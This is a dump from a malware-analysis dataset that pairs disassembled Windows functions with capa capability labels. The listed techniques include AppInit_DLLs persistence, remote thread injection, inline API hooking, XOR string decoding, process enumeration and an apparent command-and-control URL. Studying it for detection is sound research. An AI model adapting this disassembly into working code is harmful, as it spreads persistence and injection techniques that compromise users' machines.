joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c3a
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x1e0]
sub esp, 0x260
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x1dc], eax
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.00404950
push 0x10
lea eax, [ebp - 0x3c]
push edi
push eax
call fcn.00404950
add esp, 0x18
push 0x104
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x80], esi
mov word [ebp - 0x50], di
mov dword [ebp - 0x54], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.cmd.exe
lea eax, [ebp - 0x2c]
push eax
call esi
push 0x41a118
lea eax, [ebp - 0x2c]
push eax
call esi
push 0x41a11c
lea eax, [ebp - 0x2c]
push eax
call esi
push ebx
lea eax, [ebp - 0x2c]
push eax
call esi
push 0x41a120
lea eax, [ebp - 0x2c]
push eax
call esi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
push edi
push 0x8000020
push 1
push edi
push edi
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x401d2f
push 0xea60
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x401d1f
push edi
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x3c]
call esi
xor eax, eax
jmp 0x401d31
push dword [ebp - 0x3c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x38]
call edi
mov eax, esi
mov ecx, dword [ebp + 0x1dc]
pop edi
xor ecx, ebp
pop esi
call fcn.0040488f
add ebp, 0x1e0
leave
ret
Function at 0x40360c
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor eax, eax
cmp dword [esp + 4], eax
jle 0x40362c
lea ecx, [eax + 0x41fcb0]
mov dl, byte [ecx]
add dl, al
sub dl, 0x71
xor dl, al
inc eax
cmp eax, dword [esp + 4]
mov byte [ecx], dl
jl 0x403614
mov byte [eax + 0x41fcb0], 0
ret

Function at 0x403634
Capabilities:
Check if file exists
Read file on windows

Disassembly:
push ebp
sub esp, 0x140
lea ebp, [esp - 4]
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x140], eax
push 8
mov eax, 0x417c91
call fcn.004139cb
xor ebx, ebx
mov dword [ebp - 4], ebx
mov byte [ebp + 0x100], bl
push 0x3f
push ebx
lea eax, [ebp + 0x101]
push eax
call fcn.00404950
mov word [ebp], bx
push 0xfe
push ebx
lea eax, [ebp + 2]
push eax
call fcn.00404950
push 0x41f448
push str._s_temp_tempef2
lea eax, [ebp]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
lea eax, [ebp]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40373e
push 0x41a9cc
lea eax, [ebp]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00405a3f
add esp, 0xc
test eax, eax
jne 0x4036fc
push ebx
push ebx
push dword [ebp - 0x14]
call fcn.00405b16
add esp, 0xc
test eax, eax
jne 0x4036ee
push dword [ebp - 0x14]
push 0x40
push 1
lea eax, [ebp + 0x100]
push eax
call fcn.00405df8
add esp, 0x10
cmp dword [ebp - 0x14], ebx
je 0x4036fc
push dword [ebp - 0x14]
call fcn.00405e86
pop ecx
push 0x80
push ebx
mov esi, str.http:__default.diakoniewer.org_twit4ter
push esi
call fcn.00404950
push 0x100
push ebx
lea eax, [ebp]
push eax
call fcn.00404950
lea eax, [ebp]
push eax
lea edi, [ebp + 0x100]
call fcn.004035e1
lea eax, [ebp]
push eax
push str.http:___s_twit4ter
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x28
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x140]
xor ecx, ebp
call fcn.0040488f
add ebp, 0x144
leave
ret

Function at 0x403bd7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403bee
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x403c23
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x403c1f
cmp edi, eax
jae 0x403c23
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x403c11
cmp edi, eax
jb 0x403c27
xor eax, eax
jmp 0x403c31
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x40425c
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040419b
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00404950
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4042ab
cmp dword [ebp - 0x1c], 5
jb 0x4042c3
jmp 0x4042bf
cmp dword [ebp - 0x10], 1
jne 0x4042c3
cmp dword [ebp - 0x1c], 4
ja 0x4042bf
jne 0x4042c3
cmp dword [ebp - 0x18], 0
jbe 0x4042c3
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4182d4
call fcn.00404031
test eax, eax
jge 0x4042e4
mov byte [0x4a1cb0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040488f
add ebp, 0x78
leave
ret

Function at 0x40488f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d06c]
jne 0x404899
repz ret
jmp fcn.00407dd7
Function at 0x410179
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004077be
xor ebx, ebx
cmp dword [0x41f13c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x41024e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x4101b9
xor eax, eax
jmp 0x410312
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x4101b2
push eax
call fcn.0040775b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41f13c], eax
call esi
push eax
call fcn.0040775b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41f140], eax
call esi
push eax
call fcn.0040775b
mov dword [0x41f144], eax
lea eax, [ebp - 8]
push eax
call fcn.00405531
test eax, eax
pop ecx
pop ecx
je 0x41021c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004081ff
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x41024e
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040775b
cmp eax, ebx
pop ecx
mov dword [0x41f14c], eax
je 0x41024e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040775b
pop ecx
mov dword [0x41f148], eax
mov eax, dword [0x41f148]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x4102c7
cmp dword [0x41f14c], esi
je 0x4102c7
push eax
call fcn.004077c7
pop ecx
call eax
cmp eax, ebx
je 0x410294
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x41f14c]
call fcn.004077c7
pop ecx
call eax
test eax, eax
je 0x410294
test byte [ebp - 0x18], 1
jne 0x4102c7
lea eax, [ebp - 0xc]
push eax
call fcn.00405568
test eax, eax
pop ecx
je 0x4102af
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004081ff
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x4102be
or dword [ebp + 0x10], 0x200000
jmp 0x4102f8
or dword [ebp + 0x10], 0x40000
jmp 0x4102f8
mov eax, dword [0x41f140]
cmp eax, esi
je 0x4102f8
push eax
call fcn.004077c7
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4102f8
mov eax, dword [0x41f144]
cmp eax, esi
je 0x4102f8
push dword [ebp - 4]
push eax
call fcn.004077c7
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x41f13c]
call fcn.004077c7
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001000
Capabilities:
Create thread
Get hostname
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
xor ebx, ebx
cmp byte [0x10008340], bl
je 0x100010f4
cmp byte [0x10008320], bl
je 0x100010f4
mov eax, dword [0x10008e70]
cmp eax, ebx
je 0x10001038
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov dword [0x10008e70], ebx
push 0x10008300
mov dword [0x100082cc], 1
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 4
jge 0x10001058
mov byte [0x10008300], bl
mov al, byte [0x10009084]
push esi
push edi
push 7
mov byte [ebp - 0x24], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x23]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x20
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
push 0x11
lea eax, [ebp - 0x24]
pop ecx
mov esi, 0x10007bac
push eax
lea edi, [ebp - 0x6c]
push dword [0x100082dc]
lea eax, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
push 0x10008160
push 0x100082e0
push 0x10008300
push 0x100083e0
push 0x10008320
push 0x10008340
push dword [0x10008158]
movsw word es:[edi], word [esi]
push dword [0x10008154]
push 0x10008360
push eax
push 0x10008964
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0x34
push ebx
push ebx
push ebx
push 0x10002524
push 0x2800
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100010f7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
xor edi, edi
push edi
push 0x10007bf4
call dword [sym.imp.USER32.DLL_FindWindowA]
mov esi, eax
cmp esi, edi
jne 0x1000111a
xor eax, eax
jmp 0x10001200
push pe_nt_image_headers32
lea eax, [ebp - 0x40]
push edi
push eax
call sub.MSVCRT.DLL_memset
add esp, 0xc
lea eax, [ebp - 0x40]
push 0x3f
push eax
push esi
call dword [sym.imp.USER32.DLL_GetWindowTextA]
mov esi, dword [sym.imp.MSVCRT.DLL_strchr]
lea eax, [ebp - 0x40]
push 0x28
push eax
call esi
pop ecx
cmp eax, edi
pop ecx
mov dword [0x10007fe4], eax
je 0x100011fe
inc eax
push 0x5b
push eax
call esi
mov dword [0x10007fe0], eax
inc eax
push 0x5d
push eax
call esi
mov dword [0x10007fdc], eax
add eax, 4
mov dword [0x10007fd8], eax
inc eax
push 0x5b
push eax
call esi
mov dword [0x10007fd4], eax
inc eax
push 0x5d
push eax
call esi
mov ecx, dword [0x10007fe0]
add esp, 0x20
cmp ecx, edi
mov dword [0x10007fd0], eax
je 0x100011fe
cmp dword [0x10007fdc], edi
je 0x100011fe
cmp dword [0x10007fd8], edi
je 0x100011fe
cmp dword [0x10007fd4], edi
je 0x100011fe
cmp eax, edi
je 0x100011fe
mov eax, dword [0x10007fe4]
mov esi, dword [sym.imp.MSVCRT.DLL_strncpy]
sub ecx, eax
dec ecx
inc eax
push ecx
push eax
push 0x100083e0
call esi
mov ecx, dword [0x10007fdc]
mov eax, dword [0x10007fe0]
sub ecx, eax
dec ecx
inc eax
push ecx
push eax
push 0x10008360
call esi
mov ecx, dword [0x10007fd0]
mov eax, dword [0x10007fd4]
sub ecx, eax
dec ecx
inc eax
push ecx
push eax
push 0x10008160
call esi
add esp, 0x24
push 1
pop edi
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10001204
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 4
push edi
push 1
push 0x40000000
push 0x100081c8
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 2
mov ebx, eax
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea eax, [ebp - 4]
push edi
push eax
push 0x10
push 0x10008180
push ebx
call esi
lea eax, [ebp - 4]
push edi
push eax
push 0x60
push 0x100081a0
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1000136b
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x100081c8
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10001456
push esi
lea ecx, [ebp - 8]
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push 0x70
xor edx, edx
pop ecx
xor edi, edi
div ecx
mov esi, eax
test esi, esi
jbe 0x10001440
lea eax, [ebp - 0xc]
push 0
push eax
lea eax, [ebp - 0x7c]
push 0x70
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
lea eax, [ebp - 0x7c]
push 0x10
push eax
push dword [ebp + 8]
call sub.MSVCRT.DLL_memcmp
add esp, 0xc
test eax, eax
je 0x100013eb
inc edi
cmp edi, esi
jb 0x100013ba
jmp 0x10001440
mov edi, 0x10008320
lea ecx, [ebp - 0x6c]
mov esi, edi
mov al, byte [ecx]
movzx edx, al
dec edx
je 0x10001420
dec edx
je 0x10001403
inc ecx
jmp 0x10001432
mov al, byte [ecx + 1]
test al, al
je 0x10001430
movzx eax, al
mov al, byte [eax + 0x10007fe8]
dec al
movzx eax, al
mov al, byte [eax + 0x100080e8]
jmp 0x10001430
mov al, byte [ecx + 1]
test al, al
je 0x10001430
movzx eax, al
mov al, byte [eax + 0x10007fe8]
inc ecx
inc ecx
mov byte [esi], al
inc esi
test al, al
jne 0x100013f5
push edi
call fcn.10001347
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x100081c8
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
leave
ret
Function at 0x100017cc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], 0xe9
push 4
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push dword [0x10007010]
push dword [0x10008e68]
call fcn.100059f2
add esp, 0x10
cmp dword [ebp - 4], 0x815b5453
push 1
pop ebx
je 0x10001895
lea eax, [ebp - 4]
push 4
push eax
push dword [0x10007038]
push dword [0x10008e68]
call fcn.100059f2
add esp, 0x10
cmp dword [ebp - 4], 0x81e38953
jne 0x100018a4
mov eax, dword [0x10007038]
mov dword [0x10008e74], ebx
mov dword [0x10007010], eax
mov eax, dword [0x1000703c]
mov dword [0x10007014], eax
mov eax, dword [0x10007040]
mov dword [0x10007018], eax
mov eax, dword [0x10007044]
mov dword [0x1000701c], eax
mov eax, dword [0x10007048]
mov dword [0x10007020], eax
mov eax, dword [0x1000704c]
mov dword [0x10007024], eax
mov eax, dword [0x10007050]
mov dword [0x10007028], eax
mov eax, dword [0x10007054]
mov dword [0x1000702c], eax
mov eax, dword [0x10007058]
mov dword [0x10007030], eax
mov eax, dword [0x1000705c]
mov dword [0x10007034], eax
push 0x10007c1c
call fcn.100025ed
test eax, eax
pop ecx
je 0x100018ab
xor eax, eax
jmp 0x100019d0
mov eax, dword [0x1000701c]
mov edi, 0x10001618
push esi
mov ecx, edi
push 5
sub ecx, eax
pop esi
sub ecx, esi
push esi
mov dword [ebp - 0xb], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [0x10008e68]
call fcn.10005a41
mov eax, dword [0x10007020]
lea ecx, [ebp - 0xc]
push esi
push ecx
sub edi, eax
push eax
push dword [0x10008e68]
sub edi, esi
mov dword [ebp - 0xb], edi
call fcn.10005a41
mov eax, dword [0x10007010]
mov ecx, 0x100012f5
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xb], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [0x10008e68]
call fcn.10005a41
mov eax, dword [0x10007014]
mov ecx, 0x100014fe
sub ecx, eax
push esi
sub ecx, esi
mov byte [ebp - 0xc], 0xe8
mov dword [ebp - 0xb], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [0x10008e68]
call fcn.10005a41
mov eax, dword [0x10007018]
mov ecx, 0x10001568
sub ecx, eax
add esp, 0x40
sub ecx, esi
mov dword [ebp - 0xb], ecx
lea ecx, [ebp - 0xc]
push esi
push ecx
push eax
push dword [0x10008e68]
call fcn.10005a41
mov eax, dword [0x1000702c]
mov ecx, 0x10001636
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xb], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [0x10008e68]
call fcn.10005a41
mov eax, dword [0x10007030]
mov ecx, 0x100017b9
sub ecx, eax
push esi
sub ecx, esi
mov dword [ebp - 0xb], ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push dword [0x10008e68]
call fcn.10005a41
add esp, 0x30
xor eax, eax
cmp dword [0x10008e78], eax
pop esi
jne 0x100019ce
push eax
push eax
push eax
push 0x100025da
push 0x400
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x10008e70], eax
mov dword [0x10008e78], ebx
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10001ab9
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x10007c30
push 0x100081c8
call dword [sym.imp.MSVCRT.DLL_sprintf]
push 0x10008460
call fcn.100020c3
add esp, 0x14
xor eax, eax
push eax
push eax
push eax
push 0x100019d4
push 0x400
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
leave
ret

Function at 0x10001b60
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push dword [ebp + 0xc]
lea eax, [ebp - 0x80]
push dword [ebp + 8]
push 0x10007c3c
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0x10
lea eax, [ebp - 0x80]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
leave
ret

Function at 0x10001ba3
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
lea eax, [ebp - 0x18]
push 0
push 2
mov dword [ebp - 0x18], 0x6e696863
mov dword [ebp - 0x14], 0x6f6c5f61
mov dword [ebp - 0x10], 0x2e6e6967
mov dword [ebp - 0xc], 0x72706d
mov dword [ebp - 8], 0x10007c44
mov dword [ebp - 4], eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10001c5b
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x13c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x128
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x10001c53
push esi
xor edi, edi
lea esi, [ebp - 8]
push dword [esi]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.MSVCRT.DLL__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x10001c35
inc edi
add esi, 4
cmp edi, 2
jb 0x10001c15
jmp 0x10001c41
push dword [ebp - 0x138]
call fcn.10005bf3
pop ecx
lea eax, [ebp - 0x140]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x10001c10
pop esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop ebx
leave
ret

Function at 0x10001d7a
Capabilities:
Create thread

Disassembly:
push esi
push 4
push 0x1000
push 0x104
push 0
push dword [0x10008e68]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10001dd0
push dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x10007c88
push 0x10007c78
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0
push 0
push esi
push eax
push 0x400
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop esi
ret
Function at 0x10001dd2
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.10005d0b
cmp eax, 0xc1d23f44
jne 0x10001dee
push 0x10001c98
call fcn.10005d17
pop ecx
jmp 0x10001e22
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov edi, 0x10007ca4
push edi
call esi
test eax, eax
mov ebx, 0x10007c98
je 0x10001e27
push ebx
call esi
test eax, eax
je 0x10001e27
xor eax, eax
push eax
push eax
push eax
push 0x10001c5e
push 0x2800
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 1
pop eax
jmp 0x10001e42
push edi
call fcn.10001d7a
push ebx
call fcn.10001d7a
push 0x10008d64
call fcn.10001d7a
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x10001f67
Capabilities:
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
lea eax, [ebp - 8]
push edi
push eax
push 0x2001f
push 0
push 0x10007ce4
push 0x80000002
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
test eax, eax
jne 0x100020be
push 0x5c
push 0x10008d64
call dword [sym.imp.MSVCRT.DLL_strrchr]
pop ecx
inc eax
pop ecx
mov esi, 0x10007c1c
lea ecx, [ebp - 0x34]
push 0x1f
push ecx
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetProfileStringA]
mov ebx, 0x2800
push 4
push 0x1000
push ebx
push 0
mov dword [ebp - 0xc], ebx
push dword [0x10008e68]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x100020be
push dword [ebp - 0xc]
push 0
push edi
call sub.MSVCRT.DLL_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push edi
push eax
push 0
push 0x10007cd4
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.DLL_RegQueryValueExA]
and dword [ebp - 4], 0
push dword [ebp - 4]
lea eax, [ebp - 0x54]
push esi
push 0x10007c5c
push 0x10007cc4
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
lea eax, [ebp - 0x54]
push eax
push edi
call dword [sym.imp.MSVCRT.DLL_strstr]
add esp, 0x1c
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x10002044
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x10
jl 0x1000200a
test eax, eax
je 0x10002060
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x10]
call sub.MSVCRT.DLL_memcpy
add esp, 0xc
jmp 0x10002087
cmp byte [edi], 0
je 0x1000207c
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x10007cc0
push edi
call esi
lea eax, [ebp - 0x34]
push eax
push edi
call esi
jmp 0x10002087
lea eax, [ebp - 0x34]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push 2
push 0
push 0x10007cd4
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.DLL_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
push 0x4000
push ebx
push edi
push dword [0x10008e68]
call dword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
pop edi
pop esi
pop ebx
leave
ret